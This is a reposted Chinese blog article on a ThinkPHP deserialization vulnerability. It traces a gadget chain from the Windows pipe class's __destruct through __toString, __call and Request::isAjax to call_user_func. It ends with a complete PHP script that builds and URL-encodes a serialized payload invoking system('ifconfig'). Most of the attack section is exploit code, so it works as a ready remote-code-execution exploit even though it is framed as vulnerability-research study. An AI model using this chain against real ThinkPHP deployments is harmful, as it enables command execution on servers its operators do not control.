• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

全网thinkPHP反序列化漏洞

武飞扬头像
不要做小白了
帮助3

三:ThinkPHP中的PHAR反序列化

  漏洞挖掘原理利用自动调用的魔术方法,一步一步去寻找调用链,寻找可控点,在unserialize和phar://触发

1.漏洞起点为/pipes/windows.php中的__destruct()中的 $this->removeFiles();

继续跟进它其中存在

if (file_exists($filename)) {

                @unlink($filename);

            }

,可以想到如果$filename为一个对象的话,而file_exists会将其变成字符串处理,从而触发————toString魔术方法。

2.全局搜索__toString,在Comversion.php中寻找到

public function __toString()

    {

        return $this->toJson();

    }

继续跟进tojson()

public function toJson($options = JSON_UNESCAPED_UNICODE)

    {

        return json_encode($this->toArray(), $options);

    }

跟进toARrray()

if (!empty($this->append)) {

            foreach ($this->append as $key => $name) {

                if (is_array($name)) {

                    // 追加关联对象属性

                    $relation = $this->getRelation($key);

                    if (!$relation) {

                        $relation = $this->getAttr($key);

                        $relation->visible($name);

                    }

跟进getArray()

 public function getAttr($name, &$item = null)

    {

        try {

            $notFound = false;

            $value    = $this->getData($name);

        } catch (InvalidArgumentException $e) {

            $notFound = true;

            $value    = null;

        }

跟进getData()

public function getData($name = null)

    {

        if (is_null($name)) {

            return $this->data;

        } elseif (array_key_exists($name, $this->data)) {

            return $this->data[$name];

        } elseif (array_key_exists($name, $this->relation)) {

            return $this->relation[$name];

        }

最后$relation=$this->data[$name],调用链基本完成,但没有执行点,这时想到$relation->visible($name);如果$relation这个类没有visible$name)这个方法则会调用__call魔术方法,可以尝试。

public function __call($method, $args)

    {

        if (array_key_exists($method, $this->hook)) {

            array_unshift($args, $this);

            return call_user_func_array($this->hook[$method], $args);

        }

        throw new Exception('method not exists:' . static::class . '->' . $method);

    }

$this->hook可控,但是array_unshift($args, $this);会在数组前插入新的元素,很难构建payload,既然这个方法无法利用call_user_func_array($this->hook[$method], $args),那为啥不直接用call_user_func_array($this->hook[$method], $args)调用本类存在的方法了。

假设this->hook[‘visible’=>[$this,method]]

那么call_user_func_array($this->hook[$method], $args)就会时

call_user_func_array([$this,method], $args)从而继续进行下去

继续寻找call_user_func()找到

private function filterValue(&$value, $key, $filters)

    {

        $default = array_pop($filters);

        foreach ($filters as $filter) {

            if (is_callable($filter)) {

                // 调用函数或者方法过滤

                $value = call_user_func($filter, $value);

发现$filters参数那么谁在调用filterValue()呢,发现cookie()再继续调用

其中

        $filter = $this->getFilter($filter, $default);

 

跟进getFilter(),发现

 $filter = $filter ?: $this->filter;

其中将$filter = (array) $filter;变成了一个数组

最终call_user_func($filter, $value);第一个参数可控,寻找第二个参数$value

找到input函数,继续寻找谁在调用input,发现params函数在调用而且

 return $this->input($this->param, $name, $default, $filter);

其中$this->param可控所以第二个参数值可控

filterValue(&$value, $key, $filters)->

public function input($data = [], $name = '', $default = null, $filter = ''){

$this->filterValue($data, $name, $filter);}->
public function param($name = '', $default = null, $filter = '')

{ return $this->input($this->param, $name, $default, $filter);}

但如果想进行到这一步$name不能为空因为在input()函数中存在

if (false === $name) {

            // 获取原始数据

            return $data;

        }

所以我们要给$name赋值,最终寻找到isAjax()函数

public function isAjax($ajax = false)

 {

 $result= $this->param($this->config['var_ajax']) ? true : $result;

        return $result;

    }

isAjax函数中,我们可以控制$this->config['var_ajax']$this->config['var_ajax']可控就意味着param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。

根据调用链尝试构建payload

namespace think;

class Request

{

    protected $hook = [];

    protected $config = [];

    protected $filter;

    protected $param = [];

    public function __construct(){

        $this->filter = 'system';                       // 要调用的函数

        $this->param = ['ifconfig'];                    // 要执行的命令

        $this->hook = ['visible'=>[$this, 'isAjax']];   // 要在__call中调用的方法

        $this->config = ['var_ajax' => ''];             // 配置参数,可控点

    }

}

abstract class Model{

    protected $append = [];     // 参考Converstion类的相同定义

    private $data = [];         // 参数Attribute类的相同定义

    function __construct()      // 给两个属性赋值

    {

        $this->append = ['woniu' => ['a']];  // 截止目前append只需要满足不为空,所以任意定义, Conversion 166

        $this->data = ['woniu' => new Request() ]; // 此处data的定义要绕一些,因为存在多个调用

    }

}

namespace think\model;

use think\Model;

class Pivot extends Model {

   

}

namespace think\process\pipes;

use think\model\Pivot;

class Pipes {}

class Windows extends Pipes{

    private $files = ['/opt/lampp/htdocs/security/upload/test.php'];

    function __construct() {

        $this->files = [new Pivot()];

    }

}

$w = new Windows();

echo urlencode(serialize($w));

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhffifgb
系列文章
更多 icon
同类精品
更多 icon
继续加载